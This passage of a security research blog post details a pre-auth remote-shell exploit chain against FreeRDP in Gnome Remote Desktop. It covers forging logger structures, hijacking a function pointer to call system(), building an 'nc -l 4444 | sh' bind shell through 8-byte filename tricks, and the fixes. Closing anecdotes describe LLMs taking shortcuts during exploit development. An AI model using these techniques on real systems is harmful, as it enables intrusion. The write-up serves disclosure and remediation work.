  • Bug 3 (GHSA-9jcm-x588-gh26) allows us to trigger an 8-byte out-of-bounds write of data we control, into a wLog pointer, which is then immediately used in a WLog_Print() call.

Wow... did I really need 5,000 words to describe all of that? Let's not dwell on it. Onto exploitation! Bugs 1 and 2 are fairly self explanatory: one gets us access, the other gives us some important information leaks. But how do we use bug 3 to make the most of it?

// winpr/libwinpr/utils/wlog/wlog.c
static BOOL WLog_Write(wLog* log, const wLogMessage* message)
{
	BOOL status = FALSE;
[1]	wLogAppender* appender = WLog_GetLogAppender(log); // log->Appender

	if (!appender)
		return FALSE;

[2]	if (!appender->active)
		if (!WLog_OpenAppender(log))
			return FALSE;

[3]	EnterCriticalSection(&appender->lock);

	if (appender->WriteMessage)
	{
[4]		if (appender->recursive)
			status = log_recursion(message->FileName, message->FunctionName, message->LineNumber);
		else
		{
			appender->recursive = TRUE;
[5]			status = appender->WriteMessage(log, appender, message);
			appender->recursive = FALSE;
		}
	}

	LeaveCriticalSection(&appender->lock);
	return status

// winpr/libwinpr/utils/wlog/wlog.c
static BOOL WLog_Write(wLog* log, const wLogMessage* message)
{
	BOOL status = FALSE;
[1]	wLogAppender* appender = WLog_GetLogAppender(log); // log->Appender

	if (!appender)
		return FALSE;

[2]	if (!appender->active)
		if (!WLog_OpenAppender(log))
			return FALSE;

[3]	EnterCriticalSection(&appender->lock);

	if (appender->WriteMessage)
	{
[4]		if (appender->recursive)
			status = log_recursion(message->FileName, message->FunctionName, message->LineNumber);
		else
		{
			appender->recursive = TRUE;
[5]			status = appender->WriteMessage(log, appender, message);
			appender->recursive = FALSE;
		}
	}

	LeaveCriticalSection(&appender->lock);
	return status

// winpr/libwinpr/utils/wlog/wlog.c
static BOOL WLog_Write(wLog* log, const wLogMessage* message)
{
	BOOL status = FALSE;
[1]	wLogAppender* appender = WLog_GetLogAppender(log); // log->Appender

	if (!appender)
		return FALSE;

[2]	if (!appender->active)
		if (!WLog_OpenAppender(log))
			return FALSE;

[3]	EnterCriticalSection(&appender->lock);

	if (appender->WriteMessage)
	{
[4]		if (appender->recursive)
			status = log_recursion(message->FileName, message->FunctionName, message->LineNumber);
		else
		{
			appender->recursive = TRUE;
[5]			status = appender->WriteMessage(log, appender, message);
			appender->recursive = FALSE;
		}
	}

	LeaveCriticalSection(&appender->lock);
	return status

Okay, so this is what we're working with. We control log, what can we do with it? Notably appender is fetched from our log [1], so that call at [5] is essentially:

log->Appender->WriteMessage(log, appender, message
log->Appender->WriteMessage(log, appender, message
log->Appender->WriteMessage(log, appender, message

That would be pretty nice, huh? To reach that we need the following to be true:

// winpr/libwinpr/utils/wlog/wlog.h
struct s_wLog
{
	LPSTR Name;          
	LONG FilterLevel; // small enough for WLog_IsLevelActive(log, WLOG_ERROR)  
	// ...
	wLogAppender* Appender; // points to our forged wLogAppender (below); read at [1]
	// ...
};

// winpr/libwinpr/utils/wlog/wlog.h
struct s_wLogAppender
{
	DWORD Type;
	BOOL active; // must be 1, see [2]
	wLogLayout* Layout; 
	CRITICAL_SECTION lock; // must be "initialised" and uncontended, see [3]
	                       // i.e. its LockCount = -1, SpinCount = 0
	BOOL recursive; // must be 0, see [4]
    // ...
	WINPR_ATTR_NODISCARD WLOG_APPENDER_WRITE_MESSAGE_FN WriteMessage; // must point to some function we want to call, called at [5]
	// ...

// winpr/libwinpr/utils/wlog/wlog.h
struct s_wLog
{
	LPSTR Name;          
	LONG FilterLevel; // small enough for WLog_IsLevelActive(log, WLOG_ERROR)  
	// ...
	wLogAppender* Appender; // points to our forged wLogAppender (below); read at [1]
	// ...
};

// winpr/libwinpr/utils/wlog/wlog.h
struct s_wLogAppender
{
	DWORD Type;
	BOOL active; // must be 1, see [2]
	wLogLayout* Layout; 
	CRITICAL_SECTION lock; // must be "initialised" and uncontended, see [3]
	                       // i.e. its LockCount = -1, SpinCount = 0
	BOOL recursive; // must be 0, see [4]
    // ...
	WINPR_ATTR_NODISCARD WLOG_APPENDER_WRITE_MESSAGE_FN WriteMessage; // must point to some function we want to call, called at [5]
	// ...

// winpr/libwinpr/utils/wlog/wlog.h
struct s_wLog
{
	LPSTR Name;          
	LONG FilterLevel; // small enough for WLog_IsLevelActive(log, WLOG_ERROR)  
	// ...
	wLogAppender* Appender; // points to our forged wLogAppender (below); read at [1]
	// ...
};

// winpr/libwinpr/utils/wlog/wlog.h
struct s_wLogAppender
{
	DWORD Type;
	BOOL active; // must be 1, see [2]
	wLogLayout* Layout; 
	CRITICAL_SECTION lock; // must be "initialised" and uncontended, see [3]
	                       // i.e. its LockCount = -1, SpinCount = 0
	BOOL recursive; // must be 0, see [4]
    // ...
	WINPR_ATTR_NODISCARD WLOG_APPENDER_WRITE_MESSAGE_FN WriteMessage; // must point to some function we want to call, called at [5]
	// ...

Fortunately, thanks to our information leak (and RDP heap fengshui) we have:

  • Heap addresses pointing to data we control, so we can forge these structures

  • GLib addresses, allowing us to defeat ASLR and calculate GLib's base address

Using all our bugs and primitives, we're able to overwrite WriteMessage and reach that call.

From RIP to Shell

So that leaves us with the big question: what do we replace WriteMessage with? Consider that we control both the 1st argument (log) and the 2nd (appender).

Why, old faithful, of course: system(const char *cmd)! Which means our log object is interpreted as the command string, meaning wLog.Name is treated as the cmd.

But Sam, I hear you ask, you just said we only had the GLib base address and system() is from libc?! It just so turns out that the offset between GLib's base and libc's is deterministic, woo! (At least in Fedora 46's packages; there is alternatively g_spawn_command_line_async() in GLib but this comes with some additional restrictions and caveats).

However, it's not a home run just yet. We have a few hurdles to cross. Let's break down where we're at and try carve a path to our remote shell:

  • wLog.Name is an 8 byte string. We can use the low byte of FilterLevel as the string terminator, but that still only gives us 8 bytes of commands to run in our system() call.

  • We are able to trigger this write (and thus call system()) multiple times, however stability decreases drastically the more we do.

  • The system() command is run as the gdm-greeter-N throwaway user, whose lifetime is tied to our RDP session. The user's home is tmpfs + noexec.

  • The TCP socket for our connection is inherited by the handover daemon (who's the one calling our system() command), but it's close-on-exec so our spawned cmd won't get it.

This is really starting to sound like a CTF problem, huh? Well the solution is very CTF-coded: using filenames as a means to build up our command over several triggers, then piping the concatenated filenames into a bash file which can then be run! Pretty neat, right?!

Let's consider opening a bind shell, with the command nc -l 4444 | sh:

>'nc -\' # creates file: nc -\
>'l 44\' # creates file: l 44\
>'44|s\' # creates file: 44|s\
>h       # creates file: h
ls -tr>A # lists the files, ordered by newest (-t), reverse (-r) (aka oldest)
         # and pipe the results into a file, A.
bash A   # run the script in A (note: not executing it, so it's fine :)
>'nc -\' # creates file: nc -\
>'l 44\' # creates file: l 44\
>'44|s\' # creates file: 44|s\
>h       # creates file: h
ls -tr>A # lists the files, ordered by newest (-t), reverse (-r) (aka oldest)
         # and pipe the results into a file, A.
bash A   # run the script in A (note: not executing it, so it's fine :)
>'nc -\' # creates file: nc -\
>'l 44\' # creates file: l 44\
>'44|s\' # creates file: 44|s\
>h       # creates file: h
ls -tr>A # lists the files, ordered by newest (-t), reverse (-r) (aka oldest)
         # and pipe the results into a file, A.
bash A   # run the script in A (note: not executing it, so it's fine :)

And, just like that, 3 bugs later, we have our pre-auth remote shell!




On Mitigations

It's worth briefly touching on mitigations here, as I am sure some of you are curious how our chain got around relevant, default mitigations and what could be enabled to stop it.

Our test machine was a stock Fedora Rawhide machine on AArch64 (I know, don't even ask, it just happened) with typical mitigations enabled: ASLR, PIE, RELRO, FORTIFY_SOURCE, glibc allocator checks and safe-linking, BTI, PAC-ret etc.

There's a few neat little aspects of our chain which make it hard to catch. Firstly, the initial authentication bypass is a logic issue, so there's no memory corruption shenanigans there.

Similarly, the leak does not involve any memory corruption: it's just stale data that's being sent over the wire to the client. The heap feng shui used to shape the heap to contain our pointers (getting around ASLR & co.) is also just "legitimate" RDP traffic. Notably, this could be mitigated by heap initialisation (e.g. zero on alloc).

However, our write is undoubtedly a memory corruption issue! But it is an intra-object corruption (it doesn't leave the ChannelPduTracker allocation), so we're not trashing any heap metadata or crossing the allocation granularity boundary typically checked.

Moreover, the copy occurs through an opaque pointer where the compiler lacks the buffer[1608] sub-object bound so FORTIFY_SOURCE can't help here. However, strict array-bounds checking (such as Clang -fsanitize=bounds) would flag the eventual out-of-bounds indexing of ChannelPduTracker's buffer .

As for our control-flow hijacking primitive, we're using an indirect call via a forged function pointer which contains a "legitimate" function: system(). As a result this isn't caught by BTI (it's a BTI-valid function entry) or PAC-ret (this is backwards edge/return address protection, which we don't mess with here). This could be caught by full, type-aware forward-edge CFI, which checks target function's type as the caller expects a three-argument WriteMessage callback, whereas system() takes one argument.

Root???

To those of you who may be thinking, "Hey! You said you'd find something just as cool as Alfredo's macOS ROOT pre-auth RCE and I'm not seeing a whole lotta root here!", I say you have a point. Unfortunately Linux doesn't just run its screensharing daemons as root...

However! I would be lying if I said I didn't at least poke around to see what our options are once landing that shell, and I was actually quite surprised.

Neither Fedora nor Ubuntu (I haven't checked others) sandbox or restrict the throwaway greeter user in any way. As a result, it has the exact same attack surface an ordinary local user would, including access to FUSE (which we've already demonstrated an LPE in; yes I was very tempted to setup an E2E lab but in hindsight this post is already too long).

Seeing as we're not exactly short on kernel LPEs these days, it hardly seems a stretch that this could be extended to a root pre-auth RCE given the lack of sandboxing / access control.

Reachability & Remediation

First and foremost, all 3 vulnerabilities used in the chain as well as several others we reported are fixed in FreeRDP 3.31.0, so make sure you're up-to-date if you use it.

Note, remote desktop servers are not something enabled or listening by default. Most people won't be affected by this unless they're actively using the feature.

Things get a bit more complicated when it comes to understanding the reachability and impact of these vulnerabilities across different distributions and GRD modes. Besides Gnome Remote Desktop, FreeRDP is also used by KDE KRdp and Weston's RDP backend.

(Bug 1) Negotiation failure is not terminal:

  • Affects: FreeRDP versions >= 3.0.0, <= 3.30.0 (used by most LTS distributions)

  • Impact: All modes of GRD are affected, however impact varies. Remote Login yields the authentication bypass described in this post; other modes instead crash, leading to a pre-auth remote denial of service of the logged-in user's session daemon.

  • Reachability: Just requires network reachability.

  • Fix: PR #13250

(Bug 2) RDPGFX ResetGraphics discloses uninitialised heap:

  • Affects: FreeRDP versions >= 2.0.0, <= 3.30.0 (used by most LTS distributions)

  • Impact: Leaks up to 300 bytes of handover daemon memory, which may include heap and library addresses.

  • Reachability: Requires an authenticated RDP session.

  • Fix: PR #13248

(Bug 3) Channel PDU tracker offset desync:

  • Affects: FreeRDP versions >= 3.28.0, <= 3.30.0

  • Impact: Out-of-bounds write leading to pointer control. Combined with a leak, leads to RIP control as demonstrated in this post.

  • Reachability: Requires an authenticated RDP session. Additionally, requires a static virtual channel opened with CHANNEL_OPTION_SHOW_PROTOCOL whose poll loop survives a failed poll. In GRD, this only covers RDPDR which was only added in GRD 51+.

  • Fix: commit 40d9202 (issue #13102)

Due to the requirements of Bug 3, the coverage for the full chain we've demonstrated is fortunately quite narrow, limited to releases which used pre-release GRD 51+.

At the time of writing, this was Fedora 45, rawhide, CentOS Stream 11 and anyone using Arch's gnome-unstable repo. However, it's worth highlighting this is a largely a self-imposed limitation as I wanted to make a cool chain using only the bugs we'd found. The reality is there are likely other n-days or 0-days which could be chained with Bug 1 & 2 (who don't have as restrictive coverage as Bug 3) to achieve a similar chain with less requirements.

Takeaways

Wowza, that was a long one! Even by my standards. Hopefully you've found it at least half as interesting as I have. Working on this particular chain really allowed me to push the models, and what we've built here at Bynario, to the limits.

So to cap things off (I promise I'll keep it brief, we're almost there!), I wanted to discuss some of my takeaways from working on a complex chain like this using LLMs.

As I mentioned up top, our internal pipelines, alongside frontier models such as Opus 5 and GPT Sol, were able to autonomously surface and validate all the bugs used in this chain. However, automating the exploitation of a complex chain of bugs is another problem entirely.

LLMs & Exploitation

One immediate issue is the incredibly complex, "long horizon" nature of the task. Exploiting memory corruption bugs can already be a complex task: you need to understand the nature of the bug itself as well as the internals of the system it resides in. It is often an iterative process, where you often try and then rule out different strategies and techniques. Each iteration you learn something new that can change previous assumptions or approaches. Gradually you hone in on one, possibly of many, path to success but even then it often isn't deterministic, so you must account for that too as well as other environmental factors.

And that's just exploiting one bug! You can imagine how that complexity quickly grows as the number of bugs involved in a given exploit increases, the iterations and learnings of any one bug may have ripple on effects on the others, causing you to go back to the drawing board. It's a task that requires a lot of tenacity, platform knowledge and curiosity.

Suffice it to say, there's a lot of context for the models to juggle and a brute-force approach (read: trying to apply generic approaches and techniques and not being curious about how this code works, following tangents etc.) led to noticeable performance degradation: any misinterpretation of results, stale knowledge, missed config, fabrication can have ripple on effects; as a result any model mistakes cost more.

Cheating!!

Oh, if I had a penny for every time I saw "🎯 RCE ACHIEVED!".

Despite being quite clear in my intent for the chain, pre-auth remote code execution via remote shell, the (latest frontier!) models simply didn't understand my intent (or just wanted the easiest way out). Some particularly funny (only in hindsight) examples:

  • Achieving pre-auth RCE, but instead of using the existing auth bypass, it decides it's easier to just use the RDP credentials (why not, we could bypass it if we wanted).

  • When trying to navigate the 8-byte limitations, decides we can just use curl>f 0;sh f to download and run our own bash script! Handy because 0 is interpreted here as 127.0.0.1, and of course our REMOTE attacker is on the SAME machine as the target...

  • Many other times it would simply stop short of the task, e.g. by demonstrating we can write a marker file on the target or some other issue.

Admittedly, these particular cases can be guarded against with the correct orchestration layer, but it demonstrates the importance of correctly conveying intent to the model, which for exploit development in particular, is not always as straightforward as it seems.

(Inconsistent) Safeguards

I'm mainly just adding this in because it's funny. Safeguards were never an issue while using GPT Sol. However, despite being part of Anthropic's CVP, Opus 5 would arbitrarily drop me down to Opus 4.8 - in one case it literally did it AFTER it had finished and run the chain.

It's Over

We made it! It was a LONG one but we covered a lot of stuff: some intro fluff, technical background on FreeRDP and Gnome Remote Desktop, deep dives into 3 interesting bugs which could then be chained to gain a pre-auth remote shell. We then wrapped up by covering some remediation details and takeaways from the whole research project.

I appreciate not everyone will have read everything, but hopefully everyone at least managed to take something away from this mammoth post. I likely wasn't able to include everything, I certainly glossed over some bits and may have missed others, so feel free to reach out if you have any questions or corrections! Thanks for reading!

S2t%a1rWtQ  l4oOoPkCi5nBg8  aGt9  yYoLuHr7  sRoQfVtYw7aArHeW  c%r%iDtNiDcPaZlFlJy9.2

request briefing

request briefing

SOt$a2r2tP  l5oEoBk3iRn8gQ  aQtJ  y#o4u8r4  s8oRf6tKwRaUrVeI  cNr7iSt&i6c6a4lTl1yD.M

request briefing

request briefing

SEtPaTrCtT  l6oBo4kOi7nJgR  aAtB  y%o0uPrA  s#o@f$t7wBa7rSeS  c3r4iXtSiXcSaClAl1yE.N

request briefing

request briefing

BYNARIO s.r.l. | PIAZZA BORROMEO 12, 20129 MILAN, ITALY | VAT- IT14434720968

all rights reserved

2026

BYNARIO s.r.l. | PIAZZA BORROMEO 12, 20129 MILAN, ITALY | VAT- IT14434720968

all rights reserved

2026

BYNARIO s.r.l. | PIAZZA BORROMEO 12, 20129 MILAN, ITALY | VAT- IT14434720968

all rights reserved

2026